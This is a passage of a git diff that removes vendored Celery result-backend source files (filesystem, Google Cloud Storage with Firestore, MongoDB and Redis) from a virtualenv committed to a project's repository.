self._do_directory_test(b'.fs-backend-' + uuid().encode(encoding)) - - def __reduce__(self, args=(), kwargs=None): - kwargs = {} if not kwargs else kwargs - return super().__reduce__(args, {**kwargs, 'url': self.url}) - - def _find_path(self, url): - if not url: - raise ImproperlyConfigured(E_NO_PATH_SET) - if url.startswith('file://localhost/'): - return url[16:] - if url.startswith('file://'): - return url[7:] - raise ImproperlyConfigured(E_PATH_NON_CONFORMING_SCHEME) - - def _do_directory_test(self, key): - try: - self.set(key, b'test value') - assert self.get(key) == b'test value' - self.delete(key) - except OSError: - raise ImproperlyConfigured(E_PATH_INVALID) - - def _filename(self, key): - return self.sep.join((self.path, key)) - - def get(self, key): - try: - with self.open(self._filename(key), 'rb') as infile: - return infile.read() - except FileNotFoundError: - pass - - def set(self, key, value): - with self.open(self._filename(key), 'wb') as outfile: - outfile.write(ensure_bytes(value)) - - def mget(self, keys): - for key in keys: - yield self.get(key) - - def delete(self, key): - self.unlink(self._filename(key)) - - def cleanup(self): - """Delete expired meta-data.""" - if not self.expires: - return - epoch = datetime(1970, 1, 1, tzinfo=self.app.timezone) - now_ts = (self.app.now() - epoch).total_seconds() - cutoff_ts = now_ts - self.expires - for filename in os.listdir(self.path): - for prefix in (self.task_keyprefix, self.group_keyprefix, - self.chord_keyprefix): - if filename.startswith(prefix): - path = os.path.join(self.path, filename) - if os.stat(path).st_mtime < cutoff_ts: - self.unlink(path) - break diff --git a/backend/venv/Lib/site-packages/celery/backends/gcs.py b/backend/venv/Lib/site-packages/celery/backends/gcs.py deleted file mode 100644 index d667a9cc..00000000 --- a/backend/venv/Lib/site-packages/celery/backends/gcs.py +++ /dev/null @@ -1,352 +0,0 @@ -"""Google Cloud Storage result store backend for Celery.""" -from concurrent.futures import ThreadPoolExecutor -from datetime import datetime, timedelta -from os import getpid -from threading import RLock - -from kombu.utils.encoding import bytes_to_str -from kombu.utils.functional import dictfilter -from kombu.utils.url import url_to_parts - -from celery.canvas import maybe_signature -from celery.exceptions import ChordError, ImproperlyConfigured -from celery.result import GroupResult, allow_join_result -from celery.utils.log import get_logger - -from .base import KeyValueStoreBackend - -try: - import requests - from google.api_core import retry - from google.api_core.exceptions import Conflict - from google.api_core.retry import if_exception_type - from google.cloud import storage - from google.cloud.storage import Client - from google.cloud.storage.retry import DEFAULT_RETRY -except ImportError: - storage = None - -try: - from google.cloud import firestore, firestore_admin_v1 -except ImportError: - firestore = None - firestore_admin_v1 = None - - -__all__ = ('GCSBackend',) - - -logger = get_logger(__name__) - - -class GCSBackendBase(KeyValueStoreBackend): - """Google Cloud Storage task result backend.""" - - def __init__(self, **kwargs): - if not storage: - raise ImproperlyConfigured( - 'You must install google-cloud-storage to use gcs backend' - ) - super().__init__(**kwargs) - self._client_lock = RLock() - self._pid = getpid() - self._retry_policy = DEFAULT_RETRY - self._client = None - - conf = self.app.conf - if self.url: - url_params = self._params_from_url() - conf.update(**dictfilter(url_params)) - - self.bucket_name = conf.get('gcs_bucket') - if not self.bucket_name: - raise ImproperlyConfigured( - 'Missing bucket name: specify gcs_bucket to use gcs backend' - ) - self.project = conf.get('gcs_project') - if not self.project: - raise ImproperlyConfigured( - 'Missing project:specify gcs_project to use gcs backend' - ) - self.base_path = conf.get('gcs_base_path', '').strip('/') - self._threadpool_maxsize = int(conf.get('gcs_threadpool_maxsize', 10)) - self.ttl = float(conf.get('gcs_ttl') or 0) - if self.ttl < 0: - raise ImproperlyConfigured( - f'Invalid ttl: {self.ttl} must be greater than or equal to 0' - ) - elif self.ttl: - if not self._is_bucket_lifecycle_rule_exists(): - raise ImproperlyConfigured( - f'Missing lifecycle rule to use gcs backend with ttl on ' - f'bucket: {self.bucket_name}' - ) - - def get(self, key): - key = bytes_to_str(key) - blob = self._get_blob(key) - try: - return blob.download_as_bytes(retry=self._retry_policy) - except storage.blob.NotFound: - return None - - def set(self, key, value): - key = bytes_to_str(key) - blob = self._get_blob(key) - if self.ttl: - blob.custom_time = datetime.utcnow() + timedelta(seconds=self.ttl) - blob.upload_from_string(value, retry=self._retry_policy) - - def delete(self, key): - key = bytes_to_str(key) - blob = self._get_blob(key) - if blob.exists(): - blob.delete(retry=self._retry_policy) - - def mget(self, keys): - with ThreadPoolExecutor() as pool: - return list(pool.map(self.get, keys)) - - @property - def client(self): - """Returns a storage client.""" - - # make sure it's thread-safe, as creating a new client is expensive - with self._client_lock: - if self._client and self._pid == getpid(): - return self._client - # make sure each process gets its own connection after a fork - self._client = Client(project=self.project) - self._pid = getpid() - - # config the number of connections to the server - adapter = requests.adapters.HTTPAdapter( - pool_connections=self._threadpool_maxsize, - pool_maxsize=self._threadpool_maxsize, - max_retries=3, - ) - client_http = self._client._http - client_http.mount("https://", adapter) - client_http._auth_request.session.mount("https://", adapter) - - return self._client - - @property - def bucket(self): - return self.client.bucket(self.bucket_name) - - def _get_blob(self, key): - key_bucket_path = f'{self.base_path}/{key}' if self.base_path else key - return self.bucket.blob(key_bucket_path) - - def _is_bucket_lifecycle_rule_exists(self): - bucket = self.bucket - bucket.reload() - for rule in bucket.lifecycle_rules: - if rule['action']['type'] == 'Delete': - return True - return False - - def _params_from_url(self): - url_parts = url_to_parts(self.url) - - return { - 'gcs_bucket': url_parts.hostname, - 'gcs_base_path': url_parts.path, - **url_parts.query, - } - - -class GCSBackend(GCSBackendBase): - """Google Cloud Storage task result backend. - - Uses Firestore for chord ref count. - """ - - implements_incr = True - supports_native_join = True - - # Firestore parameters - _collection_name = 'celery' - _field_count = 'chord_count' - _field_expires = 'expires_at' - - def __init__(self, **kwargs): - if not (firestore and firestore_admin_v1): - raise ImproperlyConfigured( - 'You must install google-cloud-firestore to use gcs backend' - ) - super().__init__(**kwargs) - - self._firestore_lock = RLock() - self._firestore_client = None - - self.firestore_project = self.app.conf.get( - 'firestore_project', self.project - ) - if not self._is_firestore_ttl_policy_enabled(): - raise ImproperlyConfigured( - f'Missing TTL policy to use gcs backend with ttl on ' - f'Firestore collection: {self._collection_name} ' - f'project: {self.firestore_project}' - ) - - @property - def firestore_client(self): - """Returns a firestore client.""" - - # make sure it's thread-safe, as creating a new client is expensive - with self._firestore_lock: - if self._firestore_client and self._pid == getpid(): - return self._firestore_client - # make sure each process gets its own connection after a fork - self._firestore_client = firestore.Client( - project=self.firestore_project - ) - self._pid = getpid() - return self._firestore_client - - def _is_firestore_ttl_policy_enabled(self): - client = firestore_admin_v1.FirestoreAdminClient() - - name = ( - f"projects/{self.firestore_project}" - f"/databases/(default)/collectionGroups/{self._collection_name}" - f"/fields/{self._field_expires}" - ) - request = firestore_admin_v1.GetFieldRequest(name=name) - field = client.get_field(request=request) - - ttl_config = field.ttl_config - return ttl_config and ttl_config.state in { - firestore_admin_v1.Field.TtlConfig.State.ACTIVE, - firestore_admin_v1.Field.TtlConfig.State.CREATING, - } - - def _apply_chord_incr(self, header_result_args, body, **kwargs): - key = self.get_key_for_chord(header_result_args[0]).decode() - self._expire_chord_key(key, 86400) - return super()._apply_chord_incr(header_result_args, body, **kwargs) - - def incr(self, key: bytes) -> int: - doc = self._firestore_document(key) - resp = doc.set( - {self._field_count: firestore.Increment(1)}, - merge=True, - retry=retry.Retry( - predicate=if_exception_type(Conflict), - initial=1.0, - maximum=180.0, - multiplier=2.0, - timeout=180.0, - ), - ) - return resp.transform_results[0].integer_value - - def on_chord_part_return(self, request, state, result, **kwargs): - """Chord part return callback. - - Called for each task in the chord. - Increments the counter stored in Firestore. - If the counter reaches the number of tasks in the chord, the callback - is called. - If the callback raises an exception, the chord is marked as errored. - If the callback returns a value, the chord is marked as successful. - """ - app = self.app - gid = request.group - if not gid: - return - key = self.get_key_for_chord(gid) - val = self.incr(key) - size = request.chord.get("chord_size") - if size is None: - deps = self._restore_deps(gid, request) - if deps is None: - return - size = len(deps) - if val > size: # pragma: no cover - logger.warning( - 'Chord counter incremented too many times for %r', gid - ) - elif val == size: - # Read the deps once, to reduce the number of reads from GCS ($$) - deps = self._restore_deps(gid, request) - if deps is None: - return - callback = maybe_signature(request.chord, app=app) - j = deps.join_native - try: - with allow_join_result(): - ret = j( - timeout=app.conf.result_chord_join_timeout, - propagate=True, - ) - except Exception as exc: # pylint: disable=broad-except - try: - culprit = next(deps._failed_join_report()) - reason = 'Dependency {0.id} raised {1!r}'.format( - culprit, - exc, - ) - except StopIteration: - reason = repr(exc) - - logger.exception('Chord %r raised: %r', gid, reason) - self.chord_error_from_stack(callback, ChordError(reason)) - else: - try: - callback.delay(ret) - except Exception as exc: # pylint: disable=broad-except - logger.exception('Chord %r raised: %r', gid, exc) - self.chord_error_from_stack( - callback, - ChordError(f'Callback error: {exc!r}'), - ) - finally: - deps.delete() - # Firestore doesn't have an exact ttl policy, so delete the key. - self._delete_chord_key(key) - - def _restore_deps(self, gid, request): - app = self.app - try: - deps = GroupResult.restore(gid, backend=self) - except Exception as exc: # pylint: disable=broad-except - callback = maybe_signature(request.chord, app=app) - logger.exception('Chord %r raised: %r', gid, exc) - self.chord_error_from_stack( - callback, - ChordError(f'Cannot restore group: {exc!r}'), - ) - return - if deps is None: - try: - raise ValueError(gid) - except ValueError as exc: - callback = maybe_signature(request.chord, app=app) - logger.exception('Chord callback %r raised: %r', gid, exc) - self.chord_error_from_stack( - callback, - ChordError(f'GroupResult {gid} no longer exists'), - ) - return deps - - def _delete_chord_key(self, key): - doc = self._firestore_document(key) - doc.delete() - - def _expire_chord_key(self, key, expires): - """Set TTL policy for a Firestore document. - - Firestore ttl data is typically deleted within 24 hours after its - expiration date. - """ - val_expires = datetime.utcnow() + timedelta(seconds=expires) - doc = self._firestore_document(key) - doc.set({self._field_expires: val_expires}, merge=True) - - def _firestore_document(self, key): - return self.firestore_client.collection( - self._collection_name - ).document(bytes_to_str(key)) diff --git a/backend/venv/Lib/site-packages/celery/backends/mongodb.py b/backend/venv/Lib/site-packages/celery/backends/mongodb.py deleted file mode 100644 index 1789f6cf..00000000 --- a/backend/venv/Lib/site-packages/celery/backends/mongodb.py +++ /dev/null @@ -1,333 +0,0 @@ -"""MongoDB result store backend.""" -from datetime import datetime, timedelta, timezone - -from kombu.exceptions import EncodeError -from kombu.utils.objects import cached_property -from kombu.utils.url import maybe_sanitize_url, urlparse - -from celery import states -from celery.exceptions import ImproperlyConfigured - -from .base import BaseBackend - -try: - import pymongo -except ImportError: - pymongo = None - -if pymongo: - try: - from bson.binary import Binary - except ImportError: - from pymongo.binary import Binary - from pymongo.errors import InvalidDocument -else: # pragma: no cover - Binary = None - - class InvalidDocument(Exception): - pass - -__all__ = ('MongoBackend',) - -BINARY_CODECS = frozenset(['pickle', 'msgpack']) - - -class MongoBackend(BaseBackend): - """MongoDB result backend. - - Raises: - celery.exceptions.ImproperlyConfigured: - if module :pypi:`pymongo` is not available. - """ - - mongo_host = None - host = 'localhost' - port = 27017 - user = None - password = None - database_name = 'celery' - taskmeta_collection = 'celery_taskmeta' - groupmeta_collection = 'celery_groupmeta' - max_pool_size = 10 - options = None - - supports_autoexpire = False - - _connection = None - - def __init__(self, app=None, **kwargs): - self.options = {} - - super().__init__(app, **kwargs) - - if not pymongo: - raise ImproperlyConfigured( - 'You need to install the pymongo library to use the ' - 'MongoDB backend.') - - # Set option defaults - for key, value in self._prepare_client_options().items(): - self.options.setdefault(key, value) - - # update conf with mongo uri data, only if uri was given - if self.url: - self.url = self._ensure_mongodb_uri_compliance(self.url) - - uri_data = pymongo.uri_parser.parse_uri(self.url) - # build the hosts list to create a mongo connection - hostslist = [ - f'{x[0]}:{x[1]}' for x in uri_data['nodelist'] - ] - self.user = uri_data['username'] - self.password = uri_data['password'] - self.mongo_host = hostslist - if uri_data['database']: - # if no database is provided in the uri, use default - self.database_name = uri_data['database'] - - self.options.update(uri_data['options']) - - # update conf with specific settings - config = self.app.conf.get('mongodb_backend_settings') - if config is not None: - if not isinstance(config, dict): - raise ImproperlyConfigured( - 'MongoDB backend settings should be grouped in a dict') - config = dict(config) # don't modify original - - if 'host' in config or 'port' in config: - # these should take over uri conf - self.mongo_host = None - - self.host = config.pop('host', self.host) - self.port = config.pop('port', self.port) - self.mongo_host = config.pop('mongo_host', self.mongo_host) - self.user = config.pop('user', self.user) - self.password = config.pop('password', self.password) - self.database_name = config.pop('database', self.database_name) - self.taskmeta_collection = config.pop( - 'taskmeta_collection', self.taskmeta_collection, - ) - self.groupmeta_collection = config.pop( - 'groupmeta_collection', self.groupmeta_collection, - ) - - self.options.update(config.pop('options', {})) - self.options.update(config) - - @staticmethod - def _ensure_mongodb_uri_compliance(url): - parsed_url = urlparse(url) - if not parsed_url.scheme.startswith('mongodb'): - url = f'mongodb+{url}' - - if url == 'mongodb://': - url += 'localhost' - - return url - - def _prepare_client_options(self): - if pymongo.version_tuple >= (3,): - return {'maxPoolSize': self.max_pool_size} - else: # pragma: no cover - return {'max_pool_size': self.max_pool_size, - 'auto_start_request': False} - - def _get_connection(self): - """Connect to the MongoDB server.""" - if self._connection is None: - from pymongo import MongoClient - - host = self.mongo_host - if not host: - # The first pymongo.Connection() argument (host) can be - # a list of ['host:port'] elements or a mongodb connection - # URI. If this is the case, don't use self.port - # but let pymongo get the port(s) from the URI instead. - # This enables the use of replica sets and sharding. - # See pymongo.Connection() for more info. - host = self.host - if isinstance(host, str) \ - and not host.startswith('mongodb://'): - host = f'mongodb://{host}:{self.port}' - # don't change self.options - conf = dict(self.options) - conf['host'] = host - if self.user: - conf['username'] = self.user - if self.password: - conf['password'] = self.password - - self._connection = MongoClient(**conf) - - return self._connection - - def encode(self, data): - if self.serializer == 'bson': - # mongodb handles serialization - return data - payload = super().encode(data) - - # serializer which are in a unsupported format (pickle/binary) - if self.serializer in BINARY_CODECS: - payload = Binary(payload) - return payload - - def decode(self, data): - if self.serializer == 'bson': - return data - return super().decode(data) - - def _store_result(self, task_id, result, state, - traceback=None, request=None, **kwargs): - """Store return value and state of an executed task.""" - meta = self._get_result_meta(result=self.encode(result), state=state, - traceback=traceback, request=request, - format_date=False) - # Add the _id for mongodb - meta['_id'] = task_id - - try: - self.collection.replace_one({'_id': task_id}, meta, upsert=True) - except InvalidDocument as exc: - raise EncodeError(exc) - - return result - - def _get_task_meta_for(self, task_id): - """Get task meta-data for a task by id.""" - obj = self.collection.find_one({'_id': task_id}) - if obj: - if self.app.conf.find_value_for_key('extended', 'result'): - return self.meta_from_decoded({ - 'name': obj['name'], - 'args': obj['args'], - 'task_id': obj['_id'], - 'queue': obj['queue'], - 'kwargs': obj['kwargs'], - 'status': obj['status'], - 'worker': obj['worker'], - 'retries': obj['retries'], - 'children': obj['children'], - 'date_done': obj['date_done'], - 'traceback': obj['traceback'], - 'result': self.decode(obj['result']), - }) - return self.meta_from_decoded({ - 'task_id': obj['_id'], - 'status': obj['status'], - 'result': self.decode(obj['result']), - 'date_done': obj['date_done'], - 'traceback': obj['traceback'], - 'children': obj['children'], - }) - return {'status': states.PENDING, 'result': None} - - def _save_group(self, group_id, result): - """Save the group result.""" - meta = { - '_id': group_id, - 'result': self.encode([i.id for i in result]), - 'date_done': datetime.now(timezone.utc), - } - self.group_collection.replace_one({'_id': group_id}, meta, upsert=True) - return result - - def _restore_group(self, group_id): - """Get the result for a group by id.""" - obj = self.group_collection.find_one({'_id': group_id}) - if obj: - return { - 'task_id': obj['_id'], - 'date_done': obj['date_done'], - 'result': [ - self.app.AsyncResult(task) - for task in self.decode(obj['result']) - ], - } - - def _delete_group(self, group_id): - """Delete a group by id.""" - self.group_collection.delete_one({'_id': group_id}) - - def _forget(self, task_id): - """Remove result from MongoDB. - - Raises: - pymongo.exceptions.OperationsError: - if the task_id could not be removed. - """ - # By using safe=True, this will wait until it receives a response from - # the server. Likewise, it will raise an OperationsError if the - # response was unable to be completed. - self.collection.delete_one({'_id': task_id}) - - def cleanup(self): - """Delete expired meta-data.""" - if not self.expires: - return - - self.collection.delete_many( - {'date_done': {'$lt': self.app.now() - self.expires_delta}}, - ) - self.group_collection.delete_many( - {'date_done': {'$lt': self.app.now() - self.expires_delta}}, - ) - - def __reduce__(self, args=(), kwargs=None): - kwargs = {} if not kwargs else kwargs - return super().__reduce__( - args, dict(kwargs, expires=self.expires, url=self.url)) - - def _get_database(self): - conn = self._get_connection() - return conn[self.database_name] - - @cached_property - def database(self): - """Get database from MongoDB connection. - - performs authentication if necessary. - """ - return self._get_database() - - @cached_property - def collection(self): - """Get the meta-data task collection.""" - collection = self.database[self.taskmeta_collection] - - # Ensure an index on date_done is there, if not process the index - # in the background. Once completed cleanup will be much faster - collection.create_index('date_done', background=True) - return collection - - @cached_property - def group_collection(self): - """Get the meta-data task collection.""" - collection = self.database[self.groupmeta_collection] - - # Ensure an index on date_done is there, if not process the index - # in the background. Once completed cleanup will be much faster - collection.create_index('date_done', background=True) - return collection - - @cached_property - def expires_delta(self): - return timedelta(seconds=self.expires) - - def as_uri(self, include_password=False): - """Return the backend as an URI. - - Arguments: - include_password (bool): Password censored if disabled. - """ - if not self.url: - return 'mongodb://' - if include_password: - return self.url - - if ',' not in self.url: - return maybe_sanitize_url(self.url) - - uri1, remainder = self.url.split(',', 1) - return ','.join([maybe_sanitize_url(uri1), remainder]) diff --git a/backend/venv/Lib/site-packages/celery/backends/redis.py b/backend/venv/Lib/site-packages/celery/backends/redis.py deleted file mode 100644 index 3e3ef737..00000000 --- a/backend/venv/Lib/site-packages/celery/backends/redis.py +++ /dev/null @@ -1,673 +0,0 @@ -"""Redis result store backend.""" -import time -from contextlib import contextmanager -from functools import partial -from ssl import CERT_NONE, CERT_OPTIONAL, CERT_REQUIRED -from urllib.parse import unquote - -from kombu.utils.functional import retry_over_time -from kombu.utils.objects import cached_property -from kombu.utils.url import _parse_url, maybe_sanitize_url - -from celery import states -from celery._state import task_join_will_block -from celery.canvas import maybe_signature -from celery.exceptions import BackendStoreError, ChordError, ImproperlyConfigured -from celery.result import GroupResult, allow_join_result -from celery.utils.functional import _regen, dictfilter -from celery.utils.log import get_logger -from celery.utils.time import humanize_seconds - -from .asynchronous import AsyncBackendMixin, BaseResultConsumer -from .base import BaseKeyValueStoreBackend - -try: - import redis.connection - from kombu.transport.redis import get_redis_error_classes -except ImportError: - redis = None - get_redis_error_classes = None - -try: - import redis.sentinel -except ImportError: - pass - -__all__ = ('RedisBackend', 'SentinelBackend') - -E_REDIS_MISSING = """ -You need to install the redis library in order to use \ -the Redis result store backend. -""" - -E_REDIS_SENTINEL_MISSING = """ -You need to install the redis library with support of \ -sentinel in order to use the Redis result store backend. -""" - -W_REDIS_SSL_CERT_OPTIONAL = """ -Setting ssl_cert_reqs=CERT_OPTIONAL when connecting to redis means that \ -celery might not validate the identity of the redis broker when connecting. \ -This leaves you vulnerable to man in the middle attacks. -""" - -W_REDIS_SSL_CERT_NONE = """ -Setting ssl_cert_reqs=CERT_NONE when connecting to redis means that celery \ -will not validate the identity of the redis broker when connecting. This \ -leaves you vulnerable to man in the middle attacks. -""" - -E_REDIS_SSL_PARAMS_AND_SCHEME_MISMATCH = """ -SSL connection parameters have been provided but the specified URL scheme \ -is redis://. A Redis SSL connection URL should use the scheme rediss://. -""" - -E_REDIS_SSL_CERT_REQS_MISSING_INVALID = """ -A rediss:// URL must have parameter ssl_cert_reqs and this must be set to \ -CERT_REQUIRED, CERT_OPTIONAL, or CERT_NONE -""" - -E_LOST = 'Connection to Redis lost: Retry (%s/%s) %s.' - -E_RETRY_LIMIT_EXCEEDED = """ -Retry limit exceeded while trying to reconnect to the Celery redis result \ -store backend. The Celery application must be restarted. -""" - -logger = get_logger(__name__) - - -class ResultConsumer(BaseResultConsumer): - _pubsub = None - - def __init__(self, *args, **kwargs): - super().__init__(*args, **kwargs) - self._get_key_for_task = self.backend.get_key_for_task - self._decode_result = self.backend.decode_result - self._ensure = self.backend.ensure - self._connection_errors = self.backend.connection_errors - self.subscribed_to = set() - - def on_after_fork(self): - try: - self.backend.client.connection_pool.reset() - if self._pubsub is not None: - self._pubsub.close() - except KeyError as e: - logger.warning(str(e)) - super().on_after_fork() - - def _reconnect_pubsub(self): - self._pubsub = None - self.backend.client.connection_pool.reset() - # task state might have changed when the connection was down so we - # retrieve meta for all subscribed tasks before going into pubsub mode - if self.subscribed_to: - metas = self.backend.client.mget(self.subscribed_to) - metas = [meta for meta in metas if meta] - for meta in metas: - self.on_state_change(self._decode_result(meta), None) - self._pubsub = self.backend.client.pubsub( - ignore_subscribe_messages=True, - ) - # subscribed_to maybe empty after on_state_change - if self.subscribed_to: - self._pubsub.subscribe(*self.subscribed_to) - else: - self._pubsub.connection = self._pubsub.connection_pool.get_connection( - 'pubsub', self._pubsub.shard_hint - ) - # even if there is nothing to subscribe, we should not lose the callback after connecting. - # The on_connect callback will re-subscribe to any channels we previously subscribed to. - self._pubsub.connection.register_connect_callback(self._pubsub.on_connect) - - @contextmanager - def reconnect_on_error(self): - try: - yield - except self._connection_errors: - try: - self._ensure(self._reconnect_pubsub, ()) - except self._connection_errors: - logger.critical(E_RETRY_LIMIT_EXCEEDED) - raise - - def _maybe_cancel_ready_task(self, meta): - if meta['status'] in states.READY_STATES: - self.cancel_for(meta['task_id']) - - def on_state_change(self, meta, message): - super().on_state_change(meta, message) - self._maybe_cancel_ready_task(meta) - - def start(self, initial_task_id, **kwargs): - self._pubsub = self.backend.client.pubsub( - ignore_subscribe_messages=True, - ) - self._consume_from(initial_task_id) - - def on_wait_for_pending(self, result, **kwargs): - for meta in result._iter_meta(**kwargs): - if meta is not None: - self.on_state_change(meta, None) - - def stop(self): - if self._pubsub is not None: - self._pubsub.close() - - def drain_events(self, timeout=None): - if self._pubsub: - with self.reconnect_on_error(): - message = self._pubsub.get_message(timeout=timeout) - if message and message['type'] == 'message': - self.on_state_change(self._decode_result(message['data']), message) - elif timeout: - time.sleep(timeout) - - def consume_from(self, task_id): - if self._pubsub is None: - return self.start(task_id) - self._consume_from(task_id) - - def _consume_from(self, task_id): - key = self._get_key_for_task(task_id) - if key not in self.subscribed_to: - self.subscribed_to.add(key) - with self.reconnect_on_error(): - self._pubsub.subscribe(key) - - def cancel_for(self, task_id): - key = self._get_key_for_task(task_id) - self.subscribed_to.discard(key) - if self._pubsub: - with self.reconnect_on_error(): - self._pubsub.unsubscribe(key) - - -class RedisBackend(BaseKeyValueStoreBackend, AsyncBackendMixin): - """Redis task result store. - - It makes use of the following commands: - GET, MGET, DEL, INCRBY, EXPIRE, SET, SETEX - """ - - ResultConsumer = ResultConsumer - - #: :pypi:`redis` client module. - redis = redis - connection_class_ssl = redis.SSLConnection if redis else None - - #: Maximum number of connections in the pool. - max_connections = None - - supports_autoexpire = True - supports_native_join = True - - #: Maximal length of string value in Redis. - #: 512 MB - https://redis.io/topics/data-types - _MAX_STR_VALUE_SIZE = 536870912 - - def __init__(self, host=None, port=None, db=None, password=None, - max_connections=None, url=None, - connection_pool=None, **kwargs): - super().__init__(expires_type=int, **kwargs) - _get = self.app.conf.get - if self.redis is None: - raise ImproperlyConfigured(E_REDIS_MISSING.strip()) - - if host and '://' in host: - url, host = host, None - - self.max_connections = ( - max_connections or - _get('redis_max_connections') or - self.max_connections) - self._ConnectionPool = connection_pool - - socket_timeout = _get('redis_socket_timeout') - socket_connect_timeout = _get('redis_socket_connect_timeout') - retry_on_timeout = _get('redis_retry_on_timeout') - socket_keepalive = _get('redis_socket_keepalive') - health_check_interval = _get('redis_backend_health_check_interval') - - self.connparams = { - 'host': _get('redis_host') or 'localhost', - 'port': _get('redis_port') or 6379, - 'db': _get('redis_db') or 0, - 'password': _get('redis_password'), - 'max_connections': self.max_connections, - 'socket_timeout': socket_timeout and float(socket_timeout), - 'retry_on_timeout': retry_on_timeout or False, - 'socket_connect_timeout': - socket_connect_timeout and float(socket_connect_timeout), - } - - username = _get('redis_username') - if username: - # We're extra careful to avoid including this configuration value - # if it wasn't specified since older versions of py-redis - # don't support specifying a username. - # Only Redis>6.0 supports username/password authentication. - - # TODO: Include this in connparams' definition once we drop - # support for py-redis<3.4.0. - self.connparams['username'] = username - - if health_check_interval: - self.connparams["health_check_interval"] = health_check_interval - - # absent in redis.connection.UnixDomainSocketConnection - if socket_keepalive: - self.connparams['socket_keepalive'] = socket_keepalive - - # "redis_backend_use_ssl" must be a dict with the keys: - # 'ssl_cert_reqs', 'ssl_ca_certs', 'ssl_certfile', 'ssl_keyfile' - # (the same as "broker_use_ssl") - ssl = _get('redis_backend_use_ssl') - if ssl: - self.connparams.update(ssl) - self.connparams['connection_class'] = self.connection_class_ssl - - if url: - self.connparams = self._params_from_url(url, self.connparams) - - # If we've received SSL parameters via query string or the - # redis_backend_use_ssl dict, check ssl_cert_reqs is valid. If set - # via query string ssl_cert_reqs will be a string so convert it here - if ('connection_class' in self.connparams and - issubclass(self.connparams['connection_class'], redis.SSLConnection)): - ssl_cert_reqs_missing = 'MISSING' - ssl_string_to_constant = {'CERT_REQUIRED': CERT_REQUIRED, - 'CERT_OPTIONAL': CERT_OPTIONAL, - 'CERT_NONE': CERT_NONE, - 'required': CERT_REQUIRED, - 'optional': CERT_OPTIONAL, - 'none': CERT_NONE} - ssl_cert_reqs = self.connparams.get('ssl_cert_reqs', ssl_cert_reqs_missing) - ssl_cert_reqs = ssl_string_to_constant.get(ssl_cert_reqs, ssl_cert_reqs) - if ssl_cert_reqs not in ssl_string_to_constant.values(): - raise ValueError(E_REDIS_SSL_CERT_REQS_MISSING_INVALID) - - if ssl_cert_reqs == CERT_OPTIONAL: - logger.warning(W_REDIS_SSL_CERT_OPTIONAL) - elif ssl_cert_reqs == CERT_NONE: - logger.warning(W_REDIS_SSL_CERT_NONE) - self.connparams['ssl_cert_reqs'] = ssl_cert_reqs - - self.url = url - - self.connection_errors, self.channel_errors = ( - get_redis_error_classes() if get_redis_error_classes - else ((), ())) - self.result_consumer = self.ResultConsumer( - self, self.app, self.accept, - self._pending_results, self._pending_messages, - ) - - def _params_from_url(self, url, defaults): - scheme, host, port, username, password, path, query = _parse_url(url) - connparams = dict( - defaults, **dictfilter({ - 'host': host, 'port': port, 'username': username, - 'password': password, 'db': query.pop('virtual_host', None)}) - ) - - if scheme == 'socket': - # use 'path' as path to the socket… in this case - # the database number should be given in 'query' - connparams.update({ - 'connection_class': self.redis.UnixDomainSocketConnection, - 'path': '/' + path, - }) - # host+port are invalid options when using this connection type. - connparams.pop('host', None) - connparams.pop('port', None) - connparams.pop('socket_connect_timeout') - else: - connparams['db'] = path - - ssl_param_keys = ['ssl_ca_certs', 'ssl_certfile', 'ssl_keyfile', - 'ssl_cert_reqs'] - - if scheme == 'redis': - # If connparams or query string contain ssl params, raise error - if (any(key in connparams for key in ssl_param_keys) or - any(key in query for key in ssl_param_keys)): - raise ValueError(E_REDIS_SSL_PARAMS_AND_SCHEME_MISMATCH) - - if scheme == 'rediss': - connparams['connection_class'] = redis.SSLConnection - # The following parameters, if present in the URL, are encoded. We - # must add the decoded values to connparams. - for ssl_setting in ssl_param_keys: - ssl_val = query.pop(ssl_setting, None) - if ssl_val: - connparams[ssl_setting] = unquote(ssl_val) - - # db may be string and start with / like in kombu. - db = connparams.get('db') or 0 - db = db.strip('/') if isinstance(db, str) else db - connparams['db'] = int(db) - - for key, value in query.items(): - if key in redis.connection.URL_QUERY_ARGUMENT_PARSERS: - query[key] = redis.connection.URL_QUERY_ARGUMENT_PARSERS[key]( - value - ) - - # Query parameters override other parameters - connparams.update(query) - return connparams - - def exception_safe_to_retry(self, exc): - if isinstance(exc, self.connection_errors): - return True - return False - - @cached_property - def retry_policy(self): - retry_policy = super().retry_policy - if "retry_policy" in self._transport_options: - retry_policy = retry_policy.copy() - retry_policy.update(self._transport_options['retry_policy']) - - return retry_policy - - def on_task_call(self, producer, task_id): - if not task_join_will_block(): - self.result_consumer.consume_from(task_id) - - def get(self, key): - return self.client.get(key) - - def mget(self, keys): - return self.client.mget(keys) - - def ensure(self, fun, args, **policy): - retry_policy = dict(self.retry_policy, **policy) - max_retries = retry_policy.get('max_retries') - return retry_over_time( - fun, self.connection_errors, args, {}, - partial(self.on_connection_error, max_retries), - **retry_policy) - - def on_connection_error(self, max_retries, exc, intervals, retries): - tts = next(intervals) - logger.error( - E_LOST.strip(), - retries, max_retries or 'Inf', humanize_seconds(tts, 'in ')) - return tts - - def set(self, key, value, **retry_policy): - if isinstance(value, str) and len(value) > self._MAX_STR_VALUE_SIZE: - raise BackendStoreError('value too large for Redis backend') - - return self.ensure(self._set, (key, value), **retry_policy) - - def _set(self, key, value): - with self.client.pipeline() as pipe: - if self.expires: - pipe.setex(key, self.expires, value) - else: - pipe.set(key, value) - pipe.publish(key, value) - pipe.execute() - - def forget(self, task_id): - super().forget(task_id) - self.result_consumer.cancel_for(task_id) - - def delete(self, key): - self.client.delete(key) - - def incr(self, key): - return self.client.incr(key) - - def expire(self, key, value): - return self.client.expire(key, value) - - def add_to_chord(self, group_id, result): - self.client.incr(self.get_key_for_group(group_id, '.t'), 1) - - def _unpack_chord_result(self, tup, decode, - EXCEPTION_STATES=states.EXCEPTION_STATES, - PROPAGATE_STATES=states.PROPAGATE_STATES): - _, tid, state, retval = decode(tup) - if state in EXCEPTION_STATES: - retval = self.exception_to_python(retval) - if state in PROPAGATE_STATES: - raise ChordError(f'Dependency {tid} raised {retval!r}') - return retval - - def set_chord_size(self, group_id, chord_size): - self.set(self.get_key_for_group(group_id, '.s'), chord_size) - - def apply_chord(self, header_result_args, body, **kwargs): - # If any of the child results of this chord are complex (ie. group - # results themselves), we need to save `header_result` to ensure that - # the expected structure is retained when we finish the chord and pass - # the results onward to the body in `on_chord_part_return()`. We don't - # do this is all cases to retain an optimisation in the common case - # where a chord header is comprised of simple result objects. - if not isinstance(header_result_args[1], _regen): - header_result = self.app.GroupResult(*header_result_args) - if any(isinstance(nr, GroupResult) for nr in header_result.results): - 